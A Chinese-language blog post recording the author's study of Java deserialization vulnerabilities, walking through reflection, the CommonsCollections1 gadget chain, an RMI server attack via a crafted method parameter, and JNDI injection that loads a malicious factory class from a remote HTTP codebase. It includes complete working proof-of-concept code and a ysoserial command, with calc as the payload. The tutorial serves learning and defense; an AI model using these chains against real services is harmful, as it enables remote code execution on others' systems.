前言 回顾完PHP反序列化,接着就来学习Java反序列化了。距离上一篇PHP反序列化水文过去快半个月了,感觉时间过得好快啊,在某些特殊时刻也好煎熬啊。不管怎么说,这段时间看了好多Java反序列化的文章,也动手复现了下,对反序列化的原理、利用条件、利用方法有了初步的认识。 胡诌了这么多,就下来是对Java反序列化学习的记录。
Java序列化简介 Java的序列化也是和PHP序列化一样,为了实现对象的持久化。除此之外,Java序列化还可通过的网络通信,实现在不同的平台传输对象,出现的场景有JNDI的RMI和LADP等。
Java序列化与反序列化 Java不同于PHP可以序列化和反序列化任意类,Java只有本类或父类实现了Serializable或Externalizable接口,且若实例变量引用了其他对象,该对象也需要能被序列化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public class Unserialize implements Serializable { public Object obj; public static void main (String[] args) throws Exception { Unserialize obj = new Unserialize(); obj.obj = new SerializableTest(); FileOutputStream out = new FileOutputStream("test.txt" ); ObjectOutputStream obj_out = new ObjectOutputStream(out); obj_out.writeObject(obj); out.close(); FileInputStream in = new FileInputStream("test.txt" ); ObjectInputStream in_obj = new ObjectInputStream(in); in_obj.readObject(); in_obj.close(); } } class SerializableTest implements Serializable {} class Test {}
若序列化一个没有实现Serializable的类,则会抛出NotSerializableException异常。Externalizable是Serializable的子类,序列化的用法一样,但必须重写readExternal和writeExternal方法。序列化的结果是以ACED开头的字节序列,Java也是按一定的规则进行序列化的,但序列化结果的可读性没有PHP那么高。
Java序列化并没有PHP这么多的魔术方法,只有当序列化的类重写了readObject或readExternal方法,才能作为反序列化漏洞的入口。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public class Unserialize implements Serializable { private void readObject (ObjectInputStream in) throws Exception { in.defaultReadObject(); Runtime.getRuntime().exec("calc" ); } public static void main (String[] args) throws Exception { Unserialize obj = new Unserialize(); FileOutputStream out = new FileOutputStream("test.txt" ); ObjectOutputStream obj_out = new ObjectOutputStream(out); obj_out.writeObject(obj); out.close(); FileInputStream in = new FileInputStream("test.txt" ); ObjectInputStream in_obj = new ObjectInputStream(in); in_obj.readObject(); in_obj.close(); } }
当然,实际情况下没人会直接在readObject中写个命令执行的功能。通常情况下,反序列化漏洞都是使用多个可序列化的类形成利用链,然后利用反射机制实现想要的功能。
Java反射机制 反射机制可以实现在编译时无需确定所使用的的类,在运行时再确定。对任意一个类,都能知道这个类的所有属性和方法,对任意一个对象,都能调用它的任意一个方法和属性。
以下代码是以反射的方式实现弹计算器,先后通过Class.forName获取Class实例,然后getMethod获取方法,最后invoke调用方法。对于一些需要使用实例调用的方法,首先需要通过getConstructor方法获取构造方法实例,再调用newInstance方法获取该类的实例。
1 2 3 4 5 6 7 8 public class Reflect { public static void main (String[] args) throws Exception { Class runtime = Class.forName("java.lang.Runtime" ); Method getRuntime = runtime.getMethod("getRuntime" ); Method exec = runtime.getMethod("exec" ,String.class); exec.invoke(getRuntime.invoke(runtime), "calc" ); } }
上面形如getXXX的方法都是只能获取默认构造函数或公有方法和属性,获取非默认构造函数或非公有方法和属性需要使用形如getDeclaredXXX的方法,非公有方法和属性还需使用setAccessible方法设置可访问。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public class Reflect { public static void main (String[] args) throws Exception { Class reflectTest = Class.forName("com.test.ReflectTest" ); Constructor constructor = reflectTest.getDeclaredConstructor(String.class); Object test = constructor.newInstance("calc" ); Method execute = reflectTest.getDeclaredMethod("execute" ); execute.setAccessible(true ); execute.invoke(test); } } class ReflectTest { private String cmd; ReflectTest() { } ReflectTest(String cmd) { this .cmd = cmd; } private void execute () throws IOException { if (cmd.isEmpty()) cmd = "calc" ; Runtime.getRuntime().exec(cmd); } }
反序列化利用 反序列化利用复现经典的CommonsCollectionsPOP链,还有RMI攻击服务端和JNDI注入。
CommonsCollections1 CommonsCollections1是Java反序列化利用工具ysoserial 其中的一个payload,由于commons-collections这个依赖包应用很广泛,所以这个payload很通用,但对jre是有要求的,版本需要在1.7u21以下。
POP链构造,本文通过下断点调试来学习。CommonsCollections1的payload使用以下的命令生成,值得注意的是,windows下不能用powershell生成payload,生成的payload是错的,会多出来00字节。
1 java -jar .\ysoserial.jar CommonsCollections1 "calc.exe" > cc.bin
反序列化的入口直接通过文件输入序列化内容并反序列化即可,同时需要在Runtime的exec方法下个断点。
1 2 3 4 5 6 7 public class DebugUnserialize { public static void main (String[] args) throws Exception { FileInputStream file = new FileInputStream("cc1.bin" ); ObjectInputStream in = new ObjectInputStream(file); in.readObject(); } }
启动调试就能在IDEA中看到调用栈,除去反序列化和正常invoke方法的调用,与反序列化POP链相关的调用栈有红框这三块,主要的是中间这一块。
从栈顶往栈底看,InvokerTransformer的transform方法最终反射调用Runtime的exec方法。跟进InvokerTransformer的transform方法,当input非空时会进行一个反射方式调用方法的操作。iMethodName、iParamTypes和iArgs是InvokerTransformer的属性,属于可控变量,而input不是该类的属性,此时input的值为Runtime的实例。
回溯到ChainedTransformer的transform方法,一个for循环遍历iTransformers属性,并调用他的transform方法,该方法的object参数除了第一个之外,其他都是上一个循环transform的返回值。
1 2 3 4 5 6 public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
iTransformers是一个Transformer数组,而Transformer是一个接口,上面的两个类ChainedTransformer和InvokerTransformer都实现了这个接口。当前iTransformers的大小为5,包含一个ConstantTransformer,三个InvokerTransformer,再加一个ConstantTransformer,感觉整个POP链最巧妙的就在这里。
第一个ConstantTransformer直接返回他的iConstant属性,此时iConstant为Runtime的Class实例。
接着的InvokerTransformer,经过一次getMethod再加一次反射方式调用的getMethod获取到getRuntime的Method实例,并返回。
接着的InvokerTransformer,经过两次invoke调用了上一个循环返回getRuntime方法,并返回执行结果。这里的iArgs也就是第二次的invoke的参数,是一个null和一个空Object数组,再复现时把我整懵了,为啥不用对象调用getRuntime方法。后面想起来getRuntime是静态方法,查资料得知静态方法用invoke反射调用,第一个参数传null即可。
最后一个InvokerTransformer利用上一个循环getRuntime返回的Runtime实例,反射调用exec执行命令。
继续回溯,跟进到LazyMap的get方法,map属性不存在键为key的值,然后使用factory属性调用tranform方法。这里令factory为下一调用栈里的ChainedTransformer即可。
再继续回溯,在AnnotationInvocationHandler的invoke方法里面使用调用memberValues属性调用get方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public Object invoke (Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals" ) && var5.length == 1 && var5[0 ] == Object.class) { return this .equalsImpl(var3[0 ]); } else if (var5.length != 0 ) { throw new AssertionError("Too many parameters for an annotation method" ); } else { ... switch (var7) { case 0 : ... default : Object var6 = this .memberValues.get(var4);
AnnotationInvocationHandler是非公有的类,需要反射来构造,唯一的一个构造函数的第一个参数需要是注解的类,且存在一个接口,接口也是需要有注解,否则就会抛出一个AnnotationFormatError异常。
1 2 3 4 5 6 7 8 9 AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) { Class[] var3 = var1.getInterfaces(); if (var1.isAnnotation() && var3.length == 1 && var3[0 ] == Annotation.class) { this .type = var1; this .memberValues = var2; } else { throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type." ); } }
在java.lang.annotaion包下很多接口都满足这个条件。
在往上回溯,发现并没有直接调用invoke方法,因为这里用到了动态代理 机制,当生成的代理实例调用方法时会先调用类里的invoke方法。AnnotationInvocationHandler实现了InvocationHandler接口,所以再往上回溯又是一个AnnotationInvocationHandler,但它的memberValues属性是AnnotationInvocationHandler的代理实例。
最后完整的POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 package com.test;import org.apache.commons.collections.*;import org.apache.commons.collections.functors.*;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.*;import java.util.*;public class ApacheCommonsCollections1 { public static void main (String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , null }), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , null }), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc.exe" }), new ConstantTransformer(1 ) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map map = LazyMap.decorate(new HashMap(), chainedTransformer); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, map); Map map1 = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[]{Map.class}, invocationHandler ); Object obj = constructor.newInstance(Retention.class, map1); FileOutputStream fileOutputStream = new FileOutputStream("cc1.txt" ); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(obj); } }
CommonsCollections后面几条链看了下最后都是通过transform方法反射执行命令的,就是入口类和中间衔接类不一样,CommonsCollections5也跟了下,无需动态代理,相比CommonsCollections1构造起来还更简单。
RMI攻击服务端 攻击服务端的方式我看到有两种(可能还有更多的我不知道),一种是远程方法的参数有通过类实例的,构造恶意的实例传过去;另一种是使用bind方法注册绑定一个恶意的实例。
远程方法参数有类实例
由于RMI传的参数都是经过序列化的,那么在服务端那边就会进行反序列化还原对象。这里我就想到了个问题,实现远程方法的类没有实现Serializable为什么又能被序列化呢?原因就在实现远程方法的类继承的UnicastRemoteObject类上,只要一直回溯,不难发现UnicastRemoteObject的最终父类是RemoteObject,是它实现了Serializable。
现在我们参数传一个精心构造的反序列化链就能造成反序列化漏洞,但如果这个参数的类不能作为反序列化的入口类的话,我们通过入口类继承原来的类,实现反序列化任意类。这里还是以CommonsCollections为例,但修改CommonsCollections原有的入口类挺麻烦的,Demo简化一下,服务端刚好有一个实现了Serializable的类,类里还有一个Object属性。
1 2 3 class Exploit implements Serializable { Object obj; }
服务端远程方法的参数是Exception类,那么客户端的Exploit就有稍稍修改下,继承Exception类。
1 2 3 class Exploit extends Exception implements Serializable { Object obj; }
然后客户端实例化一个Exploit对象,设置它的obj属性为CommonsCollections的POP链即可。
放上Demo的代码:
1 2 3 4 5 6 7 8 9 10 11 12 package com.test; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; public class RMIServer { public static void main (String[] args) throws RemoteException, AlreadyBoundException { LocateRegistry.createRegistry(8888 ).bind("method" ,new RemoteMethodImpl()); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package com.test;import java.io.Serializable;import java.rmi.RemoteException;import java.rmi.server.UnicastRemoteObject;public class RemoteMethodImpl extends UnicastRemoteObject implements RemoteMethod { protected RemoteMethodImpl () throws RemoteException { } @Override public String read (Exception obj) throws RemoteException { return null ; } } class Exploit implements Serializable { private void readObject (ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); } Object obj; }
1 2 3 4 5 6 7 8 9 package com.test; import java.rmi.Remote; import java.rmi.RemoteException; public interface RemoteMethod extends Remote { public String read (Exception obj) throws RemoteException ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 package com.test; import org.apache.commons.collections.*; import org.apache.commons.collections.functors.*; import org.apache.commons.collections.map.LazyMap; import java.io.Serializable; import java.lang.annotation.Retention; import java.lang.reflect.*; import java.rmi.registry.LocateRegistry; import java.util.*; public class Client { public static void main (String[] args) throws Exception { RemoteMethod remoteMethod = (RemoteMethod) LocateRegistry.getRegistry(8888 ).lookup("method" ); Exploit exploit = new Exploit(); exploit.obj = getPayload(); remoteMethod.read(exploit); } public static Object getPayload () throws Exception { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class, Class[].class}, new Object[]{"getRuntime" , null }), new InvokerTransformer("invoke" , new Class[]{Object.class, Object[].class}, new Object[]{null , null }), new InvokerTransformer("exec" , new Class[]{String.class}, new Object[]{"calc.exe" }), new ConstantTransformer(1 ) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map map = LazyMap.decorate(new HashMap(), chainedTransformer); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructor = cls.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true ); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, map); Map map1 = (Map) Proxy.newProxyInstance( Map.class.getClassLoader(), new Class[]{Map.class}, invocationHandler ); Object obj = constructor.newInstance(Retention.class, map1); return obj; } } class Exploit implements Serializable { Object obj; }
在调用栈里可以看到,远程方法的参数是Exception类,反序列化的对象实际上是Exploit。
JNDI注入 RMI除了绑定Remote对象之外,还可绑定ReferenceWrapper对象,ReferenceWrapper里的Reference属性记录Factory类的名称、包名和地址。当InitialContext类或他的子类对象直接或间接的调用lookup方法,同时name参数可控时,从JNDI接口获取攻击者的Reference对象,然后从攻击者的服务器下载Factory并实例化,攻击者在静态代码或构造方法加入执行命令的代码,就能在实例化的时候实现命令执行。
放上Demo代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package com.test;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.*;public class RMIServer { public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(8888 ); Reference reference = new Reference("Exploit2" , "com.exploit.Exploit2" , "http://127.0.0.1:8081/" ); ReferenceWrapper wrapper = new ReferenceWrapper(reference); registry.bind("calc" , wrapper); } }
1 2 3 4 5 6 7 8 9 10 11 package com.test;import javax.naming.*;public class RMIClient { public static void main (String[] args) throws Exception { Context ctx = new InitialContext(); ctx.lookup("rmi://localhost:8888/calc" ); } }
恶意的Factory类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package com.exploit;import java.io.IOException;class Exploit2 { static { try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { e.printStackTrace(); } } Exploit2() throws Exception { Runtime.getRuntime().exec("calc" ); } }
同时起一个python的SimpleHTTPServer,来作为Factroy类的下载服务。这里有一个坑,一开始我是直接http://127.0.0.1:8081/Exploit2.class下载Factroy类,在测试中虽然发起了下载请求,但并没有弹计算器,一度以为我的代码写得有问题,参考了别人的Demo代码,factroyLocation设置的是下载服务的根目录,用SimpleHTTPServer测试下,请求的地址会变为http://127.0.0.1:8081/com/exploit/Exploit2.class,所以下载目录要跟报名相同或者请求任意地址都下载Factroy才行。
万事俱备,开调。
前两个lookup方法都是套娃调用,直接跟进到RegistryContext的lookup方法。使用绑定的ReferenceWrapper和对应的Name调用decodeObject方法。
跟进到decodeObject方法,获取Reference对象,并使用Reference对象和Name对象调用getObjectInstance方法。
1 2 3 4 5 6 private Object decodeObject (Remote var1, Name var2) throws NamingException { try { Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1; return NamingManager.getObjectInstance(var3, var2, this , this .environment); ... }
getObjectInstance方法里又继续通过Reference对象和factory类名调用getObjectFactoryFromReference方法获取对象。接着跟进getObjectFactoryFromReference方法,有两个地方调用loadClass,此时的调用栈是第二个loadClass。第一个loadClass是从当前classPath获取类的Class实例。如果恶意类和客户端同在一个项目,需要把恶意类编译后的.class文件删掉才会从远程下载恶意类。后续如clas为null,也就是本地没这个factory类时,获取codebase,也就是初始化Reference时的factoryName属性,调用另一个loadClass方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 static ObjectFactory getObjectFactoryFromReference (Reference ref, String factoryName) throws IllegalAccessException, InstantiationException, MalformedURLException { Class<?> clas = null ; try { clas = helper.loadClass(factoryName); } catch (ClassNotFoundException e) { } String codebase; if (clas == null && (codebase = ref.getFactoryClassLocation()) != null ) { try { clas = helper.loadClass(factoryName, codebase); } catch (ClassNotFoundException e) { } } return (clas != null ) ? (ObjectFactory) clas.newInstance() : null ; }
跟进第二个loadClass,通过URLClassLoader的newInstance生成远程类的ClassLoader,然后使用ClassLoader反射生成factory类的Class实例。在实例化Class的实例的时候,静态代码就会被执行,弹出计算器。
除了RMI,LDAP也是可以使用类似的方式实例化远程的恶意类,这两种利用方法都写在后续较高的Java版本被限制从远程下载并实例化factory类。
com.sun.jndi.ldap.object.trustURLCodebase 属性在 Oracle JDK 11.0.1, 8u191, 7u201, and 6u211及以后的版本,默认值为false,即不允许LDAP从远程地址加载Reference工厂类。
com.sun.jndi.rmi.object.trustURLCodebase 属性在 Oracle JDK 8u113, 7u122, 6u132及以后的版本,默认值为false,即默认不允许RMI从远程地址加载Reference工厂类。
后记 距发布上一篇文章24天,你文章写快点吧大哥,炒冷饭搞这么久。后续复现下一些组件、CMS的反序列化漏洞。
参考 https://github.com/bit4woo/code2sec.com
https://fireline.fun/2021/06/11/Java%20ysoserial%E5%AD%A6%E4%B9%A0%E4%B9%8BCommonsCollections1(%E4%BA%8C)/#5-2-Java%E5%8A%A8%E6%80%81%E4%BB%A3%E7%90%86
https://yoga7xm.top/2019/09/02/rmi/
https://paper.seebug.org/1091/#java-rmi_3
https://paper.seebug.org/1420/#_2
https://www.redteaming.top/2020/08/24/JNDI-Injection/